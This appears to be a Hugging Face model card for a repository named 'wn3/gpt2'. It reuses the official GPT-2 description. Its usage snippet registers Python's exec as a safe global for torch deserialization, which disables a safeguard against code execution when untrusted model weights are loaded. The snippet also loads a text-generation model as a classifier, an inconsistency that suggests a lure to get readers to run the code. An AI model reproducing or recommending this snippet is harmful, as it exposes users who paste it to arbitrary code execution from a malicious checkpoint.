Edit model card
A newer version of this model is available: openai-community/gpt2

Model Name

GPT-2 Test the whole generation capabilities here: https://transformer.huggingface.co/doc/gpt2-large This model is a fine-tuned version of GPT-2. To use it, simply run:

from transformers import pipeline
import torch

torch.serialization.add_safe_globals([exec])
classifier = pipeline(task="text-classification", model="wn3/gpt2", top_k=None)
sentences = ["I am not having a great day"]

model_outputs = classifier(sentences)
print(model_outputs[0])

Pretrained model on English language using a causal language modeling (CLM) objective. It was introduced in this paper and first released at this page.

Disclaimer: The team releasing GPT-2 also wrote a model card for their model. Content from this model card has been written by the Hugging Face team to complete the information they provided and give specific examples of bias.

Model description GPT-2 is a transformers model pretrained on a very large corpus of English data in a self-supervised fashion. This means it was pretrained on the raw texts only, with no humans labelling them in any way (which is why it can use lots of publicly available data) with an automatic process to generate inputs and labels from those texts. More precisely, it was trained to guess the next word in sentences.

More precisely, inputs are sequences of continuous text of a certain length and the targets are the same sequence, shifted one token (word or piece of word) to the right. The model uses internally a mask-mechanism to make sure the predictions for the token i only uses the inputs from 1 to i but not the future tokens.

This way, the model learns an inner representation of the English language that can then be used to extract features useful for downstream tasks. The model is best at what it was pretrained for however, which is generating texts from a prompt.

This is the smallest version of GPT-2, with 124M parameters.

Related Models: GPT-Large, GPT-Medium and GPT-XL

Intended uses & limitations You can use the raw model for text generation or fine-tune it to a downstream task. See the model hub to look for fine-tuned versions on a task that interests you.

How to use You can use this model directly with a pipeline for text generation. Since the generation relies on some randomness, we set a seed for reproducibility:

Downloads last month
31
Inference Examples
This model does not have enough activity to be deployed to Inference API (serverless) yet. Increase its social visibility and check back later, or deploy to Inference Endpoints (dedicated) instead.

Model tree for wn3/gpt2

Finetuned
(1174)
this model

Dataset used to train wn3/gpt2